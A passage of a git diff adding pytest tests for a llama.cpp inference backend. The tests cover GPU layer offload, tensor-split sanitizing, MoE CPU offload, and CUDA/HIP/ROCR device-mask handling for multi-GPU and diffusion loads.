+    assert 'if gpu_memory_mode == "manual" and gpu_layers >= 0:' in src
+    assert 'cmd.extend(["--gpu-layers", str(gpu_layers), "--fit", "off"])' in src
+    # MoE offload uses --n-cpu-moe via _resolve_cpu_moe_flag (tested behaviorally below).
+    assert "_resolve_cpu_moe_flag(" in src
+    assert 'cmd.extend(["--n-cpu-moe", str(moe_flag)])' in src
+    # A count requested on a dense model is never emitted, so it must also be
+    # dropped from the recorded state -- else /status and /load report a count
+    # llama-server never received (same rule as the tensor-split drop below).
+    moe_emit = src.find('cmd.extend(["--n-cpu-moe", str(moe_flag)])')
+    assert "elif n_cpu_moe:" in src[moe_emit : moe_emit + 300]
+    assert "self._n_cpu_moe = 0" in src[moe_emit : moe_emit + 300]
+    # The offload path forces use_fit False so --fit-ctx is never added under --fit off.
+    emit = src.find('cmd.extend(["--gpu-layers", str(gpu_layers), "--fit", "off"])')
+    assert "use_fit = False" in src[src.rfind("\n", 0, emit) - 200 : emit + 80]
+
+
+def test_status_reports_requested_context_length():
+    # The hydration path re-seeds a Manual+Auto context pin from the REQUESTED
+    # n_ctx (0 = Auto); context_length only exposes the resolved value.
+    assert "requested_context_length" in InferenceStatusResponse.model_fields
+    s = InferenceStatusResponse(requested_context_length = 8192)
+    assert s.model_dump()["requested_context_length"] == 8192
+    assert InferenceStatusResponse().model_dump()["requested_context_length"] is None
+    # The /status route must actually wire it from the backend (a declared-but-
+    # never-populated field would leave hydration silently reverting the pin).
+    from pathlib import Path as _P
+
+    route_src = (_P(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8")
+    assert "requested_context_length = llama_backend.requested_n_ctx" in route_src
+
+
+def test_manual_offload_emits_tensor_split():
+    # The offload path emits --tensor-split from the per-GPU shares, only when
+    # provided, with >1 GPU in use, AND matching that count (a stale ratio on a
+    # narrowed picker or a mismatched direct-API list must not emit -- llama-
+    # server aborts on a split/GPU-count mismatch).
+    src = _load_model_source()
+    assert "if tensor_split and _split_gpus > 1:" in src
+    # Emit only on a length match AND a positive sanitized total: a mismatched
+    # or all-zero split aborts llama-server / assigns nothing, so it's dropped.
+    # The emitted list is the sanitized one (clamping tested behaviorally below).
+    assert "_sanitized_split = self._sanitize_tensor_split(tensor_split)" in src
+    assert "if len(_sanitized_split) == _split_gpus and _split_total > 0:" in src
+    assert '"--tensor-split"' in src
+    # Joined as a comma list (e.g. "2,1") within the explicit-offload cmd branch.
+    gate = src.find('if gpu_memory_mode == "manual" and gpu_layers >= 0:')
+    nxt = src.find("elif use_fit:", gate)
+    assert '","' in src[gate:nxt] and "tensor_split" in src[gate:nxt]
+    # A split with a single effective GPU is never emitted, so it must also be
+    # dropped from the recorded state -- else /status and /load report a ratio
+    # llama-server never received and the dedupe baseline preserves it.
+    assert "elif tensor_split:" in src[gate:nxt]
+    drop = src.find("elif tensor_split:", gate, nxt)
+    assert "self._tensor_split = None" in src[drop : drop + 250]
+
+
+def test_sanitize_tensor_split_clamps_negative_and_non_finite():
+    # Negative entries would launch a placement different from the ratio the
+    # UI showed; inf passes a plain > 0 total gate and would emit
+    # "--tensor-split inf,..." (llama.cpp normalizes shares by the running
+    # total, so an inf poisons the shares from that entry on). Both clamp to 0.
+    sanitize = LlamaCppBackend._sanitize_tensor_split
+    assert sanitize([2, 1]) == [2.0, 1.0]
+    assert sanitize([-1, 2]) == [0.0, 2.0]
+    assert sanitize([float("inf"), 1]) == [0.0, 1.0]
+    assert sanitize([float("nan"), 1]) == [0.0, 1.0]
+    # All-zero survives sanitization; the call site's total gate drops it.
+    assert sanitize([0, 0]) == [0.0, 0.0]
+    # Unreadable input -> []; the call site's length gate drops it.
+    assert sanitize(["x", 1]) == []
+    assert sanitize([10**400, 1]) == []
+
+
+def test_zero_offload_mask_honors_device_pin_spellings():
+    # A user device pin must keep the GPUs visible: llama-server aborts on a
+    # pin it can't see ('error: invalid device'). The pin can arrive as
+    # --device or its -dev alias, as the draft forms (parsed even with no
+    # drafter loaded), or as an inherited LLAMA_ARG_DEVICE env var.
+    load_src = _load_model_source()
+    assert "self._zero_offload_keeps_gpu_visible(cmd, env)" in load_src
+    block = inspect.getsource(LlamaCppBackend._cmd_has_gpu_device_pin)
+    for flag in (
+        '"--device"',
+        '"-dev"',
+        '"--spec-draft-device"',
+        '"-devd"',
+        '"--device-draft"',
+    ):
+        assert flag in block
+    assert '"LLAMA_ARG_DEVICE"' in block
+
+
+def test_resolve_cpu_moe_flag():
+    # Clamp the requested MoE-layer count to the model's MoE layers, then offset
+    # past leading dense layers (--n-cpu-moe counts from layer 0).
+    R = LlamaCppBackend._resolve_cpu_moe_flag
+    assert R(0, 40, 0) is None  # nothing requested
+    assert R(8, 0, 0) is None  # dense model (no MoE layers)
+    assert R(8, 40, 0) == 8  # all-MoE: direct
+    assert R(100, 40, 0) == 40  # clamp to the MoE layer count
+    # GLM-4.7-Flash (deepseek2): block_count 47, leading_dense 1, n_moe 46.
+    assert R(5, 46, 1) == 6  # offset past the 1 dense layer
+    assert R(46, 46, 1) == 47  # all MoE on CPU == block_count
+
+
+def test_manual_allows_tensor_parallel_via_split_mode():
+    # Manual offload keeps the user's TP choice but skips the memory-based planner
+    # (plan_tp excludes manual, so its empty gpu set can't downgrade TP). The
+    # --split-mode tensor emission gates on tensor_parallel alone, so manual
+    # reaches it -- with tp_tensor_split None it's an even split (no
+    # --tensor-split). --fit off means no fit/tensor abort.
+    src = _load_model_source()
+    assert 'plan_tp = tensor_parallel and gpu_memory_mode != "manual"' in src
+    assert "if plan_tp:" in src
+    assert "if plan_tp and len(tp_gpus) < 2:" in src
+    sm = src.find('cmd.extend(["--split-mode", "tensor"])')
+    assert sm != -1, "TP must emit --split-mode tensor"
+    guard = src.rfind("if tensor_parallel:", 0, sm)
+    assert guard != -1 and sm - guard < 200, "split-mode gates on tensor_parallel"
+    # The tensor-split is only emitted for a planned (non-even) split, which
+    # manual never produces, so manual stays an even split.
+    assert "if tp_tensor_split and len(tp_tensor_split) > 1:" in src
+
+
+def test_fit_sets_target_margin():
+    # Manual + Auto (auto_fit) tightens the per-device VRAM margin to 512 MiB.
+    caps = {"supports_fit_target": True}
+    flags = LlamaCppBackend._ctx_integrity_flags(1, True, True, 0, 0, caps)
+    assert flags[flags.index("--fit-target") + 1] == "512"
+    # Not emitted on the legacy auto path (fit on but not auto_fit): -c 0 pins
+    # native there, so the tighter margin must not ride along.
+    assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags(1, True, False, 0, 0, caps)
+    # Not emitted when fit is off.
+    assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags(1, False, False, 0, 0, caps)
+    # Not emitted when the binary lacks support.
+    assert "--fit-target" not in LlamaCppBackend._ctx_integrity_flags(
+        1, True, True, 0, 0, {"supports_fit_target": False}
+    )
+
+
+# ── GPU picker (gpu_ids -> CUDA_VISIBLE_DEVICES) ─────────────────────
+
+
+def test_load_request_accepts_gpu_ids():
+    req = LoadRequest(model_path = "owner/repo", gpu_ids = [1, 0])
+    assert req.gpu_ids == [1, 0]
+    assert LoadRequest(model_path = "owner/repo").gpu_ids is None
+
+
+@pytest.mark.parametrize("model_cls", [LoadResponse, InferenceStatusResponse])
+def test_response_models_emit_gpu_ids(model_cls):
+    if model_cls is LoadResponse:
+        obj = model_cls(status = "loaded", model = "m", display_name = "m", inference = {}, gpu_ids = [1])
+    else:
+        obj = model_cls(gpu_ids = [1])
+    assert obj.model_dump()["gpu_ids"] == [1]
+
+
+def test_gpu_ids_property_default_and_reset():
+    backend = LlamaCppBackend()
+    assert backend.gpu_ids is None
+    backend._gpu_ids = [0, 1]
+    assert backend.gpu_ids == [0, 1]
+    backend._process = _FakeProcess()
+    backend.unload_model()
+    assert backend.gpu_ids is None
+
+
+def _target_state_gpu_ids(backend, gpu_ids):
+    return backend._already_in_target_state(
+        gguf_path = None,
+        model_identifier = "owner/repo",
+        hf_variant = "Q4_K_M",
+        n_ctx = 8192,
+        cache_type_kv = None,
+        speculative_type = "auto",
+        chat_template_override = None,
+        extra_args = None,
+        is_vision = False,
+        gpu_ids = gpu_ids,
+    )
+
+
+def test_gpu_ids_reload_detection_is_order_insensitive():
+    backend = _loaded_backend("auto")
+    backend._gpu_ids = [0, 1]
+    # Same set, different order -> no reload.
+    assert _target_state_gpu_ids(backend, [1, 0]) is True
+    # Different set -> reload.
+    assert _target_state_gpu_ids(backend, [0]) is False
+    # Dropping the pick (auto) -> reload.
+    assert _target_state_gpu_ids(backend, None) is False
+
+
+def test_gpu_ids_reload_detection_collapses_diffusion_to_single_device():
+    # The diffusion runner drives only its single lowest device, so the backend
+    # records [lowest]. A later multi-GPU request that still resolves to that
+    # same lowest device must dedupe (no needless reload); a request whose lowest
+    # device moves, or that drops the pick, must reload.
+    backend = _loaded_backend("auto")
+    backend._is_diffusion = True
+    backend._gpu_ids = [1]  # loaded on the lowest of an earlier [3, 1] pick
+    assert _target_state_gpu_ids(backend, [3, 1]) is True
+    assert _target_state_gpu_ids(backend, [1]) is True
+    # Lowest device changes (2, not 1) -> reload.
+    assert _target_state_gpu_ids(backend, [3, 2]) is False
+    # Dropping the pick (auto) -> reload.
+    assert _target_state_gpu_ids(backend, None) is False
+
+
+def test_start_diffusion_server_resets_tensor_parallel():
+    # A prior tensor-parallel chat load leaves self._tensor_parallel True (load_model
+    # phase 1 only kills the process, it skips the unload reset). Diffusion is never
+    # TP, so startup must clear it -- else /status misreports TP and an identical
+    # diffusion re-Apply reloads against stale tensor-parallel state.
+    src = inspect.getsource(llama_cpp_module.LlamaCppBackend._start_diffusion_server)
+    assert "self._tensor_parallel = False" in src
+
+
+def test_route_matches_loaded_settings_collapses_diffusion_gpu_ids():
+    # The route-level reload dedupe mirrors the backend: for a loaded diffusion
+    # model it compares the request against the single recorded device, not the
+    # full requested list, or a same-device multi-GPU pick reloads needlessly.
+    route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8")
+    match_impl = route_src[route_src.index("def _request_matches_loaded_settings") :]
+    guard = match_impl.index("if llama_backend.is_diffusion:")
+    collapse = match_impl.index("[sorted(request.gpu_ids)[0]] if request.gpu_ids else None")
+    compare = match_impl.index("if _req_gpu_ids != llama_backend.gpu_ids:")
+    assert guard < collapse < compare
+
+
+# ── Manual tensor split: child enumeration pinned to the picker's order ──────
+
+
+def _patch_split_pin_env(monkeypatch, *, inherited, reported):
+    """Point the pin helper at a fake inherited mask and picker report.
+    ``reported`` None = enumeration unavailable (falls back to ascending)."""
+    import utils.hardware as hw
+
+    monkeypatch.setattr(
+        LlamaCppBackend, "_resolve_visible_physical_ids", staticmethod(lambda: inherited)
+    )
+    info = (
+        {"available": False}
+        if reported is None
+        else {
+            "available": True,
+            "index_kind": "physical",
+            "devices": [{"index": i} for i in reported],
+        }
+    )
+    monkeypatch.setattr(hw, "get_backend_visible_gpu_info", lambda: info)
+
+
+def test_split_pin_reorders_inherited_numeric_mask(monkeypatch):
+    # Parent CUDA_VISIBLE_DEVICES=3,1 makes the child enumerate dev0=phys3, but
+    # nvidia-smi reported the picker's list ascending -- the mask must be
+    # re-emitted in that order or the per-GPU shares land on the wrong cards.
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = [1, 3])
+    env = {"CUDA_VISIBLE_DEVICES": "3,1"}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["CUDA_DEVICE_ORDER"] == "PCI_BUS_ID"
+    assert env["CUDA_VISIBLE_DEVICES"] == "1,3"
+
+
+def test_split_pin_keeps_mask_order_when_picker_reported_it(monkeypatch):
+    # Torch-fallback enumeration (no nvidia-smi) reports devices in inherited
+    # mask order, so the picker's split list follows the mask -- the pin must
+    # keep that order, not re-sort it into a mismatch.
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = [3, 1])
+    env = {"CUDA_VISIBLE_DEVICES": "3,1"}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["CUDA_VISIBLE_DEVICES"] == "3,1"
+
+
+def test_split_pin_falls_back_to_ascending_without_report(monkeypatch):
+    # Enumeration unavailable: ascending physical is the best guess (it matches
+    # the dominant nvidia-smi report order).
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = None)
+    env = {"CUDA_VISIBLE_DEVICES": "3,1"}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["CUDA_VISIBLE_DEVICES"] == "1,3"
+
+
+def test_split_pin_without_mask_only_sets_pci_order(monkeypatch):
+    # No inherited mask (or a UUID/MIG one resolving to None): enumeration order
+    # is fully fixed by CUDA_DEVICE_ORDER, so no mask is written.
+    _patch_split_pin_env(monkeypatch, inherited = None, reported = None)
+    env = {}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env == {"CUDA_DEVICE_ORDER": "PCI_BUS_ID"}
+
+
+def test_split_pin_mirrors_hip_mask_on_rocm(monkeypatch):
+    # ROCm with the mask sourced from HIP: the pin must land in
+    # HIP_VISIBLE_DEVICES too, and an inherited ROCR mask is cleared so the
+    # mask can't apply twice (ROCR re-indexes, then HIP would index into the
+    # already-reduced set).
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = [1, 3])
+    _rocm_torch_stub(monkeypatch)
+    env = {
+        "CUDA_VISIBLE_DEVICES": "3,1",
+        "HIP_VISIBLE_DEVICES": "3,1",
+        "ROCR_VISIBLE_DEVICES": "3,1",
+    }
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["CUDA_VISIBLE_DEVICES"] == "1,3"
+    assert env["HIP_VISIBLE_DEVICES"] == "1,3"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+
+
+def test_split_pin_preserves_inherited_rocr_mask(monkeypatch):
+    # Mask sourced from ROCR alone (e.g. an AMD SDK parent): the pin must
+    # re-emit at the ROCr layer, not swap to HIP -- clearing ROCR re-exposes
+    # every agent to HSA enumeration, which can segfault at startup on an
+    # unsupported GPU the parent mask was hiding (#7272 review). CUDA carries
+    # the post-ROCR ordinals, mirroring the prefer_rocr emission.
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = [1, 3])
+    _rocm_torch_stub(monkeypatch)
+    env = {"ROCR_VISIBLE_DEVICES": "3,1"}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["ROCR_VISIBLE_DEVICES"] == "1,3"
+    assert env["CUDA_VISIBLE_DEVICES"] == "0,1"
+    assert "HIP_VISIBLE_DEVICES" not in env
+
+
+def test_split_pin_keeps_hip_on_windows_despite_stray_rocr(monkeypatch):
+    # On Windows the ROCR var is dead (no ROCr layer) and the resolver never
+    # reads it, so a stray value must not flip the pin to the ROCR emission:
+    # the HIP mask is the only effective selector there.
+    _patch_split_pin_env(monkeypatch, inherited = [3, 1], reported = [1, 3])
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = "6.0")
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    monkeypatch.setattr(sys, "platform", "win32")
+    env = {"CUDA_VISIBLE_DEVICES": "3,1", "ROCR_VISIBLE_DEVICES": "9"}
+    LlamaCppBackend._pin_visible_gpu_order_for_split(env)
+    assert env["CUDA_VISIBLE_DEVICES"] == "1,3"
+    assert env["HIP_VISIBLE_DEVICES"] == "1,3"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+
+
+def _rocm_torch_stub(monkeypatch):
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = "6.0")
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    # prefer_rocr is Linux-only (ROCR is an ROCr variable); pin the platform so
+    # these Linux-behaviour tests also pass on a Windows dev box.
+    monkeypatch.setattr(sys, "platform", "linux")
+
+
+def test_subset_pin_masks_via_rocr_on_rocm(monkeypatch):
+    # A GPU-subset pin must exclude the rest at the ROCr/HSA layer: HIP masking
+    # still enumerates every agent first, which segfaults the build on an
+    # unsupported deselected GPU (e.g. a gfx1103 iGPU under a gfx110X prebuilt).
+    # ROCR drops it at the driver layer; only one mask is set (HIP cleared).
+    _rocm_torch_stub(monkeypatch)
+    env = {"HIP_VISIBLE_DEVICES": "9"}  # stale/inherited HIP mask must not survive
+    LlamaCppBackend._emit_child_gpu_visibility(env, "0", prefer_rocr = True)
+    assert env["ROCR_VISIBLE_DEVICES"] == "0"
+    assert env["CUDA_VISIBLE_DEVICES"] == "0"
+    assert "HIP_VISIBLE_DEVICES" not in env
+
+
+def test_prefer_rocr_remaps_cuda_to_post_rocr_ordinals(monkeypatch):
+    # ROCR re-indexes the visible agents from 0, and HIP (cleared here) falls back
+    # to CUDA_VISIBLE_DEVICES -- so on the prefer_rocr path CUDA must carry the
+    # post-ROCR ordinals, not the physical ids, else a non-zero pick indexes out
+    # of range and the child sees no GPU and drops to CPU (#7272 review).
+    _rocm_torch_stub(monkeypatch)
+    # Single non-zero GPU: ROCR keeps the physical id, CUDA becomes ordinal 0.
+    env = {}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "1", prefer_rocr = True)
+    assert env["ROCR_VISIBLE_DEVICES"] == "1"
+    assert env["CUDA_VISIBLE_DEVICES"] == "0"
+    assert "HIP_VISIBLE_DEVICES" not in env
+    # Multi-GPU subset: ROCR keeps the physical ids, CUDA is the 0-based ordinals.
+    env = {}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "1,3", prefer_rocr = True)
+    assert env["ROCR_VISIBLE_DEVICES"] == "1,3"
+    assert env["CUDA_VISIBLE_DEVICES"] == "0,1"
+    assert "HIP_VISIBLE_DEVICES" not in env
+
+
+def test_subset_pin_default_still_uses_hip_and_clears_rocr(monkeypatch):
+    # Without prefer_rocr the masking is unchanged: HIP narrows, inherited ROCR
+    # is cleared so the two can't double-mask.
+    _rocm_torch_stub(monkeypatch)
+    env = {"ROCR_VISIBLE_DEVICES": "0,1"}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "1")
+    assert env["HIP_VISIBLE_DEVICES"] == "1"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+
+
+def test_cpu_only_pin_keeps_hip_even_with_prefer_rocr(monkeypatch):
+    # The CPU-only sentinel never routes through ROCR (no portable "hide all"
+    # spelling); it hides every GPU via HIP.
+    _rocm_torch_stub(monkeypatch)
+    env = {}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "-1", prefer_rocr = True)
+    assert env["HIP_VISIBLE_DEVICES"] == "-1"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+
+
+def _amd_sdk_torch_stub(monkeypatch):
+    # AMD SDK wheel: torch.version.hip is None but __version__ encodes rocm.
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = None)
+    torch_stub.__version__ = "2.9.1+rocm7.2.1"
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    monkeypatch.setattr(sys, "platform", "linux")
+
+
+def test_prefer_rocr_falls_back_to_hip_on_windows(monkeypatch):
+    # ROCR_VISIBLE_DEVICES is a Linux ROCr variable (Windows HIP has no ROCr
+    # layer), so on Windows ROCm prefer_rocr must keep the HIP mask or a nonzero
+    # pick loses its only effective selector (#7272 review).
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = "6.0")
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    monkeypatch.setattr(sys, "platform", "win32")
+    env = {"ROCR_VISIBLE_DEVICES": "9"}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "1", prefer_rocr = True)
+    assert env["HIP_VISIBLE_DEVICES"] == "1"
+    assert env["CUDA_VISIBLE_DEVICES"] == "1"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+
+
+def test_amd_sdk_wheel_hip_none_still_masks_rocr(monkeypatch):
+    # An AMD SDK wheel leaves torch.version.hip unset but has "rocm" in __version__.
+    # It must still get the ROCR mask, else only CUDA_VISIBLE_DEVICES is set and an
+    # unsupported iGPU keeps enumerating and can crash llama-server.
+    _amd_sdk_torch_stub(monkeypatch)
+    env = {"HIP_VISIBLE_DEVICES": "9"}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "0", prefer_rocr = True)
+    assert env["ROCR_VISIBLE_DEVICES"] == "0"
+    assert "HIP_VISIBLE_DEVICES" not in env
+
+
+def test_cuda_wheel_hip_none_gets_no_rocm_mask(monkeypatch):
+    # A CUDA wheel (hip=None, no "rocm" in __version__) must NOT get a HIP/ROCR mask
+    # -- only CUDA_VISIBLE_DEVICES -- so the version-string check can't false-positive.
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = None)
+    torch_stub.__version__ = "2.9.1+cu124"
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    env = {}
+    LlamaCppBackend._emit_child_gpu_visibility(env, "0", prefer_rocr = True)
+    assert env["CUDA_VISIBLE_DEVICES"] == "0"
+    assert "ROCR_VISIBLE_DEVICES" not in env
+    assert "HIP_VISIBLE_DEVICES" not in env
+
+
+def test_resolve_physical_ids_reads_rocr_on_amd_sdk_wheel(monkeypatch):
+    # _resolve_visible_physical_ids must use the same ROCm detection as
+    # _emit_child_gpu_visibility: on an AMD SDK wheel (hip=None, rocm in
+    # __version__) an inherited ROCR mask IS the ordinal->physical mapping.
+    # Reading it as "no mask" labels ordinal 0 as physical 0 and the child's
+    # ROCR pin then re-exposes the GPU the mask was hiding (#7272 review).
+    _amd_sdk_torch_stub(monkeypatch)
+    for var in ("HIP_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES"):
+        monkeypatch.delenv(var, raising = False)
+    monkeypatch.setenv("ROCR_VISIBLE_DEVICES", "1")
+    assert LlamaCppBackend._resolve_visible_physical_ids() == [1]
+
+
+def test_resolve_physical_ids_ignores_rocr_on_cuda_wheel(monkeypatch):
+    # A CUDA wheel (hip=None, no "rocm") keeps CUDA-only semantics: a stray
+    # ROCR var must not be read as the mask.
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = None)
+    torch_stub.__version__ = "2.9.1+cu124"
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    for var in ("HIP_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES"):
+        monkeypatch.delenv(var, raising = False)
+    monkeypatch.setenv("ROCR_VISIBLE_DEVICES", "1")
+    assert LlamaCppBackend._resolve_visible_physical_ids() is None
+
+
+def test_resolve_physical_ids_ignores_rocr_on_windows(monkeypatch):
+    # ROCR_VISIBLE_DEVICES is a Linux ROCr variable: Windows HIP has no ROCr
+    # layer, so a stray ROCR var there does not mask the runtime. Reading it as
+    # the ordinal->physical mapping would label ordinal 0 with a stale ROCR id
+    # while the runtime still enumerates every adapter, so auto-selection could
+    # budget one card and pin another (#7272 review). HIP must still be honoured.
+    torch_stub = _types.ModuleType("torch")
+    torch_stub.version = _types.SimpleNamespace(hip = None)
+    torch_stub.__version__ = "2.9.1+rocm7.2.1"  # AMD SDK wheel
+    monkeypatch.setitem(sys.modules, "torch", torch_stub)
+    monkeypatch.setattr(sys, "platform", "win32")
+    for var in ("HIP_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES"):
+        monkeypatch.delenv(var, raising = False)
+    monkeypatch.setenv("ROCR_VISIBLE_DEVICES", "1")
+    assert LlamaCppBackend._resolve_visible_physical_ids() is None
+    # HIP precedence is unchanged on Windows.
+    monkeypatch.setenv("HIP_VISIBLE_DEVICES", "1")
+    assert LlamaCppBackend._resolve_visible_physical_ids() == [1]
+
+
+# ── Diffusion single-device selection ───────────────────────────────────────
+
+
+def test_diffusion_gpu_arg_uses_lowest_explicit_physical_id(monkeypatch):
+    monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "3,1")
+    monkeypatch.setenv("DG_GPU", "7")
+    assert LlamaCppBackend._diffusion_gpu_arg([3, 1]) == "1"
+
+
+def test_diffusion_gpu_arg_preserves_parent_mask_order(monkeypatch):
+    monkeypatch.delenv("DG_GPU", raising = False)
+    monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "3,1")
+    assert LlamaCppBackend._diffusion_gpu_arg(None) == "3"
+
+
+def test_diffusion_gpu_arg_honors_override_and_cpu_mask(monkeypatch):
+    monkeypatch.setenv("DG_GPU", "GPU-abc")
+    assert LlamaCppBackend._diffusion_gpu_arg(None) == "GPU-abc"
+    assert LlamaCppBackend._diffusion_gpu_arg(None, cpu_only = True) == ""
+
+
+# ── Deliberate zero-offload (manual gpu_layers=0): training-skip flag ─────────
+
+
+def test_zero_offload_flag_false_without_companions():
+    # CPU-only by construction: False lets training skip unloading a server that
+    # holds no VRAM.
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", "--fit", "off"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is False
+
+
+@pytest.mark.parametrize(
+    "companion",
+    ["--mmproj", "--model-draft", "-md", "--spec-draft-model", "-hfd"],
+)
+def test_zero_offload_flag_true_with_companion(companion):
+    # mmproj / a drafter offload to GPU regardless of --gpu-layers, so the
+    # server still holds VRAM and training must unload it. Drafter detection
+    # reuses the extras parser, so pass-through aliases count too.
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", companion, "x.gguf"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+
+
+def test_zero_offload_flag_true_with_inline_companion_forms():
+    cmd = ["llama-server", "-m", "model.gguf", "--spec-draft-model=x.gguf"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+    cmd = ["llama-server", "-m", "model.gguf", "--mmproj=proj.gguf"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+
+
+def test_zero_offload_flag_true_with_env_drafter():
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0"]
+    env = {"LLAMA_ARG_SPEC_DRAFT_MODEL": "x.gguf"}
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], env) is True
+
+
+@pytest.mark.parametrize(
+    "device_args",
+    [
+        ["--device", "CUDA0"],
+        ["--device=CUDA0"],
+        ["-dev", "CUDA0"],
+        ["--spec-draft-device", "CUDA0"],
+        ["--device-draft=CUDA0"],
+    ],
+)
+def test_zero_offload_flag_true_with_device_pin(device_args):
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", *device_args]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+
+
+def test_zero_offload_flag_true_with_env_device_pin():
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0"]
+    env = {"LLAMA_ARG_DEVICE": "CUDA0"}
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], env) is True
+
+
+@pytest.mark.parametrize(
+    ("device_args", "env"),
+    [
+        (["--device", "cpu"], {}),
+        (["--device=none"], {}),
+        (["--spec-draft-device", "cpu"], {}),
+        ([], {"LLAMA_ARG_DEVICE": "none"}),
+        (["--device", "CUDA0", "--device", "cpu"], {}),
+    ],
+)
+def test_zero_offload_flag_false_with_cpu_device_pin(device_args, env):
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", *device_args]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], env) is False
+
+
+def test_zero_offload_flag_true_with_surviving_tensor_mode():
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0", "--split-mode", "tensor"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+
+
+def test_zero_offload_flag_true_for_unmasked_vulkan(monkeypatch):
+    monkeypatch.setattr(LlamaCppBackend, "_is_vulkan_backend", staticmethod(lambda: True))
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [(0, 8000, 24000)], {}) is True
+
+
+def test_zero_offload_flag_none_without_gpus():
+    cmd = ["llama-server", "-m", "model.gguf", "--gpu-layers", "0"]
+    assert LlamaCppBackend._zero_offload_gpu_flag(cmd, [], {}) is None
+
+
+def test_cmd_has_gpu_companion_detection():
+    # The env mask for CPU-only zero-offload loads keys off this scan: any
+    # --mmproj form or a drafter (flag aliases / env) keeps the GPUs visible.
+    has = LlamaCppBackend._cmd_has_gpu_companion
+    assert has(["llama-server", "-m", "m.gguf"], {}) is False
+    assert has(["llama-server", "--mmproj", "p.gguf"], {}) is True
+    assert has(["llama-server", "--mmproj=p.gguf"], {}) is True
+    assert has(["llama-server", "-md", "d.gguf"], {}) is True
+    assert has(["llama-server"], {"LLAMA_ARG_SPEC_DRAFT_MODEL": "d.gguf"}) is True
+
+
+def test_cmd_companion_ignores_cpu_forced_drafter():
+    # A CPU-pinned drafter holds no VRAM: the zero-offload mask may hide the GPUs
+    # and training may leave the server alone.
+    has = LlamaCppBackend._cmd_has_gpu_companion
+    cmd = ["llama-server", "-md", "d.gguf", "--spec-draft-ngl", "0"]
+    assert has(cmd, {}) is False
+    cmd = ["llama-server", "-md", "d.gguf", "--spec-draft-device", "cpu"]
+    assert has(cmd, {}) is False
+    # mmproj still counts even alongside a CPU drafter.
+    cmd = ["llama-server", "-md", "d.gguf", "--spec-draft-ngl", "0", "--mmproj", "p.gguf"]
+    assert has(cmd, {}) is True
diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py
index 69ad560788..d4f2fbe993 100644
--- a/studio/backend/tests/test_gpu_selection.py
+++ b/studio/backend/tests/test_gpu_selection.py
